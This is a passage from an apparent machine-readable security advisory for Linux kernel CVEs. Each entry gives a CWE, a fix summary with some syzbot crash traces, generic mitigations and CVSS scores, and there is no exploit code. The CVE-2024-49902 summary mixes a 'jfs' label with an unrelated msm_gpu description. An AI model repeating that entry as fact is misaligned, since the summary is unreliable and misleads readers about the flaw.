      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.8,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-49894"
    },
    {
      "cve": "CVE-2024-49900",
      "cwe": {
        "id": "CWE-908",
        "name": "Use of Uninitialized Resource"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\njfs: Fix uninit-value access of new_ea in ea_buffer\r\n\r\nsyzbot reports that lzo1x_1_do_compress is using uninit-value:\r\n\r\n=====================================================\r\nBUG: KMSAN: uninit-value in lzo1x_1_do_compress+0x19f9/0x2510 lib/lzo/lzo1x_compress.c:178\r\n\r\n...\r\n\r\nUninit was stored to memory at:\r\n ea_put fs/jfs/xattr.c:639 [inline]\r\n\r\n...\r\n\r\nLocal variable ea_buf created at:\r\n __jfs_setxattr+0x5d/0x1ae0 fs/jfs/xattr.c:662\r\n __jfs_xattr_set+0xe6/0x1f0 fs/jfs/xattr.c:934\r\n\r\n=====================================================\r\n\r\nThe reason is ea_buf-\u003enew_ea is not initialized properly.\r\n\r\nFix this by using memset to empty its content at the beginning\r\nin ea_get().",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.1,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-49900"
    },
    {
      "cve": "CVE-2024-49902",
      "cwe": {
        "id": "CWE-125",
        "name": "Out-of-bounds Read"
      },
      "notes": [
        {
          "category": "summary",
          "text": "jfs: vulnerability caused by assigning msm_gpu-\u003epdev earlier in the initialization process to prevent null pointer dereferences in msm_gpu_cleanup.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-49902"
    },
    {
      "cve": "CVE-2024-49903",
      "cwe": {
        "id": "CWE-416",
        "name": "Use After Free"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\njfs: Fix uaf in dbFreeBits\r\n\r\n[syzbot reported]\r\n==================================================================\r\nBUG: KASAN: slab-use-after-free in __mutex_lock_common kernel/locking/mutex.c:587 [inline]\r\nBUG: KASAN: slab-use-after-free in __mutex_lock+0xfe/0xd70 kernel/locking/mutex.c:752\r\nRead of size 8 at addr ffff8880229254b0 by task syz-executor357/5216\r\n\r\nCPU: 0 UID: 0 PID: 5216 Comm: syz-executor357 Not tainted 6.11.0-rc3-syzkaller-00156-gd7a5aa4b3c00 #0\r\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 06/27/2024\r\nCall Trace:\r\n \u003cTASK\u003e\r\n __dump_stack lib/dump_stack.c:93 [inline]\r\n dump_stack_lvl+0x241/0x360 lib/dump_stack.c:119\r\n print_address_description mm/kasan/report.c:377 [inline]\r\n print_report+0x169/0x550 mm/kasan/report.c:488\r\n kasan_report+0x143/0x180 mm/kasan/report.c:601\r\n __mutex_lock_common kernel/locking/mutex.c:587 [inline]\r\n __mutex_lock+0xfe/0xd70 kernel/locking/mutex.c:752\r\n dbFreeBits+0x7ea/0xd90 fs/jfs/jfs_dmap.c:2390\r\n dbFreeDmap fs/jfs/jfs_dmap.c:2089 [inline]\r\n dbFree+0x35b/0x680 fs/jfs/jfs_dmap.c:409\r\n dbDiscardAG+0x8a9/0xa20 fs/jfs/jfs_dmap.c:1650\r\n jfs_ioc_trim+0x433/0x670 fs/jfs/jfs_discard.c:100\r\n jfs_ioctl+0x2d0/0x3e0 fs/jfs/ioctl.c:131\r\n vfs_ioctl fs/ioctl.c:51 [inline]\r\n __do_sys_ioctl fs/ioctl.c:907 [inline]\r\n __se_sys_ioctl+0xfc/0x170 fs/ioctl.c:893\r\n do_syscall_x64 arch/x86/entry/common.c:52 [inline]\r\n do_syscall_64+0xf3/0x230 arch/x86/entry/common.c:83\r\n\r\nFreed by task 5218:\r\n kasan_save_stack mm/kasan/common.c:47 [inline]\r\n kasan_save_track+0x3f/0x80 mm/kasan/common.c:68\r\n kasan_save_free_info+0x40/0x50 mm/kasan/generic.c:579\r\n poison_slab_object+0xe0/0x150 mm/kasan/common.c:240\r\n __kasan_slab_free+0x37/0x60 mm/kasan/common.c:256\r\n kasan_slab_free include/linux/kasan.h:184 [inline]\r\n slab_free_hook mm/slub.c:2252 [inline]\r\n slab_free mm/slub.c:4473 [inline]\r\n kfree+0x149/0x360 mm/slub.c:4594\r\n dbUnmount+0x11d/0x190 fs/jfs/jfs_dmap.c:278\r\n jfs_mount_rw+0x4ac/0x6a0 fs/jfs/jfs_mount.c:247\r\n jfs_remount+0x3d1/0x6b0 fs/jfs/super.c:454\r\n reconfigure_super+0x445/0x880 fs/super.c:1083\r\n vfs_cmd_reconfigure fs/fsopen.c:263 [inline]\r\n vfs_fsconfig_locked fs/fsopen.c:292 [inline]\r\n __do_sys_fsconfig fs/fsopen.c:473 [inline]\r\n __se_sys_fsconfig+0xb6e/0xf80 fs/fsopen.c:345\r\n do_syscall_x64 arch/x86/entry/common.c:52 [inline]\r\n do_syscall_64+0xf3/0x230 arch/x86/entry/common.c:83\r\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\r\n\r\n[Analysis]\r\nThere are two paths (dbUnmount and jfs_ioc_trim) that generate race condition when accessing bmap, which leads to the occurrence of uaf.\r\n\r\nUse the lock s_umount to synchronize them, in order to avoid uaf caused by race condition.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.0,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-49903"
    },
    {
      "cve": "CVE-2024-49930",
      "cwe": {
        "id": "CWE-125",
        "name": "Out-of-bounds Read"
      },
      "notes": [
        {
          "category": "summary",
          "text": "wifi: ath11k: fix array out-of-bound access in SoC stats. Currently, the ath11k_soc_dp_stats::hal_reo_error array is defined with a maximum size of DP_REO_DST_RING_MAX. However, the ath11k_dp_process_rx() function access ath11k_soc_dp_stats::hal_reo_error using the REO destination SRNG ring ID, which is incorrect. SRNG ring ID differ from normal ring ID, and this usage leads to out-of-bounds array access.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 6.4,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-49930"
    },
    {
      "cve": "CVE-2024-49938",
      "cwe": {
        "id": "CWE-824",
        "name": "Access of Uninitialized Pointer"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\nwifi: ath9k_htc: Use __skb_set_length() for resetting urb before resubmit\r\n\r\nSyzbot points out that skb_trim() has a sanity check on the existing length of the skb, which can be uninitialised in some error paths. The intent here is clearly just to reset the length to zero before resubmitting, so switch to calling __skb_set_length(skb, 0) directly. In addition, __skb_set_length() already contains a call to skb_reset_tail_pointer(), so remove the redundant call.\r\n\r\nThe syzbot report came from ath9k_hif_usb_reg_in_cb(), but there\u0027s a similar usage of skb_trim() in ath9k_hif_usb_rx_cb(), change both while we\u0027re at it.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-49938"
    },
    {
      "cve": "CVE-2024-49944",
      "cwe": {
        "id": "CWE-476",
        "name": "NULL Pointer Dereference"
      },
      "notes": [
        {
          "category": "summary",
          "text": "sctp: set sk_state back to CLOSED if autobind fails in sctp_listen_start. In sctp_listen_start() invoked by sctp_inet_listen(), it should set the sk_state back to CLOSED if sctp_autobind() fails due to whatever reason. Otherwise, next time when calling sctp_inet_listen(), if sctp_sk(sk)-\u003ereuse is already set via setsockopt(SCTP_REUSE_PORT), sctp_sk(sk)-\u003ebind_hash will be dereferenced as sk_state is LISTENING, which causes a crash as bind_hash is NULL",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-49944"
    },
    {
      "cve": "CVE-2024-49948",
      "cwe": {
        "id": "CWE-124",
        "name": "Buffer Underwrite (\u0027Buffer Underflow\u0027)"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved: net: add more sanity checks to qdisc_pkt_len_init().",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-49948"
    },
    {
      "cve": "CVE-2024-49949",
      "cwe": {
        "id": "CWE-124",
        "name": "Buffer Underwrite (\u0027Buffer Underflow\u0027)"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved: net: avoid potential underflow in qdisc_pkt_len_init() with UFO.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-49949"
    },
    {
      "cve": "CVE-2024-49952",
      "cwe": {
        "id": "CWE-362",
        "name": "Concurrent Execution using Shared Resource with Improper Synchronization (\u0027Race Condition\u0027)"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved: netfilter: nf_tables: prevent nf_skb_duplicated corruption.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-49952"
    },
    {
      "cve": "CVE-2024-49955",
      "cwe": {
        "id": "CWE-672",
        "name": "Operation on a Resource after Expiration or Release"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\nACPI: battery: Fix possible crash when unregistering a battery hook\r\n\r\nWhen a battery hook returns an error when adding a new battery, then the battery hook is automatically unregistered.\r\nHowever the battery hook provider cannot know that, so it will later call battery_hook_unregister() on the already unregistered battery hook, resulting in a crash.\r\n\r\nFix this by using the list head to mark already unregistered battery hooks as already being unregistered so that they can be ignored by battery_hook_unregister().",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-49955"
    },
    {
      "cve": "CVE-2024-49973",
      "cwe": {
        "id": "CWE-787",
        "name": "Out-of-bounds Write"
      },
      "notes": [
        {
          "category": "summary",
          "text": "r8169: RTL8125 added fields to the tally counter, this change could cause the chip to perform Direct Memory Access on these new fields, potentially writing to unallocated memory.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-49973"
    },
    {
      "cve": "CVE-2024-49977",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "net: stmmac: port_transmit_rate_kbps could be set to a value of 0, which is then passed to the \"div_s64\" function when tc-cbs is disabled. This leads to a zero-division error.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-49977"
    },
    {
      "cve": "CVE-2024-49997",
      "cwe": {
        "id": "CWE-226",
        "name": "Sensitive Information in Resource Not Removed Before Reuse"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved: net: ethernet: lantiq_etop: fix memory disclosure When applying padding, the buffer is not zeroed, which results in memory disclosure. The mentioned data is observed on the wire. This patch uses skb_put_padto() to pad Ethernet frames properly. The mentioned function zeroes the expanded buffer. In case the packet cannot be padded it is silently dropped. Statistics are also not incremented. This driver does not support statistics in the old 32-bit format or the new 64-bit format. These will be added in the future. In its current form, the patch should be easily backported to stable versions. Ethernet MACs on Amazon-SE and Danube cannot do padding of the packets in hardware, so software padding must be applied.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-49997"
    },
    {
      "cve": "CVE-2024-50001",
      "cwe": {
        "id": "CWE-755",
        "name": "Improper Handling of Exceptional Conditions"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\nnet/mlx5: Fix error path in multi-packet WQE transmit\r\n\r\nRemove the erroneous unmap in case no DMA mapping was established\r\n\r\nThe multi-packet WQE transmit code attempts to obtain a DMA mapping for the skb. This could fail, e.g. under memory pressure, when the IOMMU driver just can\u0027t allocate more memory for page tables. While the code tries to handle this in the path below the err_unmap label it erroneously unmaps one entry from the sq\u0027s FIFO list of active mappings. Since the current map attempt failed this unmap is removing some random DMA mapping that might still be required. If the PCI function now presents that IOVA, the IOMMU may assumes a rogue DMA access and e.g. on s390 puts the PCI function in error state.\r\n\r\nThe erroneous behavior was seen in a stress-test environment that created memory pressure.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-50001"
    },
    {
      "cve": "CVE-2024-50006",
      "cwe": {
        "id": "CWE-833",
        "name": "Deadlock"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved: ext4: fix i_data_sem unlock order in ext4_ind_migrate().",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-50006"
    },
    {
      "cve": "CVE-2024-50008",
      "cwe": {
        "id": "CWE-787",
        "name": "Out-of-bounds Write"
      },
      "notes": [
        {
          "category": "summary",
          "text": "wifi: mwifiex: memcpy() field-spanning write warning in mwifiex_cmd_802_11_scan_ext() Replace one-element array with a flexible-array member in `struct host_cmd_ds_802_11_scan_ext`.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-50008"
    },
    {
      "cve": "CVE-2024-50010",
      "cwe": {
        "id": "CWE-362",
        "name": "Concurrent Execution using Shared Resource with Improper Synchronization (\u0027Race Condition\u0027)"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\nexec: don\u0027t WARN for racy path_noexec check\r\n\r\nBoth i_mode and noexec checks wrapped in WARN_ON stem from an artifact\r\nof the previous implementation. They used to legitimately check for the\r\ncondition, but that got moved up in two commits:\r\n633fb6ac3980 (\"exec: move S_ISREG() check earlier\")\r\n0fd338b2d2cd (\"exec: move path_noexec() check earlier\")\r\n\r\nInstead of being removed said checks are WARN_ON\u0027ed instead, which has some debug value.\r\n\r\nHowever, the spurious path_noexec check is racy, resulting in unwarranted warnings should someone race with setting the noexec flag.\r\n\r\nOne can note there is more to perm-checking whether execve is allowed and none of the conditions are guaranteed to still hold after they were tested for.\r\n\r\nAdditionally this does not validate whether the code path did any perm checking to begin with -- it will pass if the inode happens to be regular.\r\n\r\nKeep the redundant path_noexec() check even though it\u0027s mindless nonsense checking for guarantee that isn\u0027t given so drop the WARN.\r\n\r\nReword the commentary and do small tidy ups while here.\r\n\r\n[brauner: keep redundant path_noexec() check]",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 4.7,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-50010"
    },
    {
      "cve": "CVE-2024-50015",
      "cwe": {
        "id": "CWE-665",
        "name": "Improper Initialization"
      },
      "notes": [
        {
          "category": "summary",
          "text": "ext4: dax: Overflowing extents beyond inode size when partially writing.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-50015"
    },
    {
      "cve": "CVE-2024-50033",
      "cwe": {
        "id": "CWE-908",
        "name": "Use of Uninitialized Resource"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\nslip: make slhc_remember() more robust against malicious packets\r\n\r\nsyzbot found that slhc_remember() was missing checks against\r\nmalicious packets [1].\r\n\r\nslhc_remember() only checked the size of the packet was at least 20,\r\nwhich is not good enough.\r\n\r\nWe need to make sure the packet includes the IPv4 and TCP header\r\nthat are supposed to be carried.\r\n\r\nAdd iph and th pointers to make the code more readable.\r\n\r\n[1]\r\n\r\nBUG: KMSAN: uninit-value in slhc_remember+0x2e8/0x7b0 drivers/net/slip/slhc.c:666\r\n  slhc_remember+0x2e8/0x7b0 drivers/net/slip/slhc.c:666\r\n  ppp_receive_nonmp_frame+0xe45/0x35e0 drivers/net/ppp/ppp_generic.c:2455\r\n  ppp_receive_frame drivers/net/ppp/ppp_generic.c:2372 [inline]\r\n  ppp_do_recv+0x65f/0x40d0 drivers/net/ppp/ppp_generic.c:2212\r\n  ppp_input+0x7dc/0xe60 drivers/net/ppp/ppp_generic.c:2327\r\n  pppoe_rcv_core+0x1d3/0x720 drivers/net/ppp/pppoe.c:379\r\n  sk_backlog_rcv+0x13b/0x420 include/net/sock.h:1113\r\n  __release_sock+0x1da/0x330 net/core/sock.c:3072\r\n  release_sock+0x6b/0x250 net/core/sock.c:3626\r\n  pppoe_sendmsg+0x2b8/0xb90 drivers/net/ppp/pppoe.c:903\r\n  sock_sendmsg_nosec net/socket.c:729 [inline]\r\n  __sock_sendmsg+0x30f/0x380 net/socket.c:744\r\n  ____sys_sendmsg+0x903/0xb60 net/socket.c:2602\r\n  ___sys_sendmsg+0x28d/0x3c0 net/socket.c:2656\r\n  __sys_sendmmsg+0x3c1/0x960 net/socket.c:2742\r\n  __do_sys_sendmmsg net/socket.c:2771 [inline]\r\n  __se_sys_sendmmsg net/socket.c:2768 [inline]\r\n  __x64_sys_sendmmsg+0xbc/0x120 net/socket.c:2768\r\n  x64_sys_call+0xb6e/0x3ba0 arch/x86/include/generated/asm/syscalls_64.h:308\r\n  do_syscall_x64 arch/x86/entry/common.c:52 [inline]\r\n  do_syscall_64+0xcd/0x1e0 arch/x86/entry/common.c:83\r\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\r\n\r\nUninit was created at:\r\n  slab_post_alloc_hook mm/slub.c:4091 [inline]\r\n  slab_alloc_node mm/slub.c:4134 [inline]\r\n  kmem_cache_alloc_node_noprof+0x6bf/0xb80 mm/slub.c:4186\r\n  kmalloc_reserve+0x13d/0x4a0 net/core/skbuff.c:587\r\n  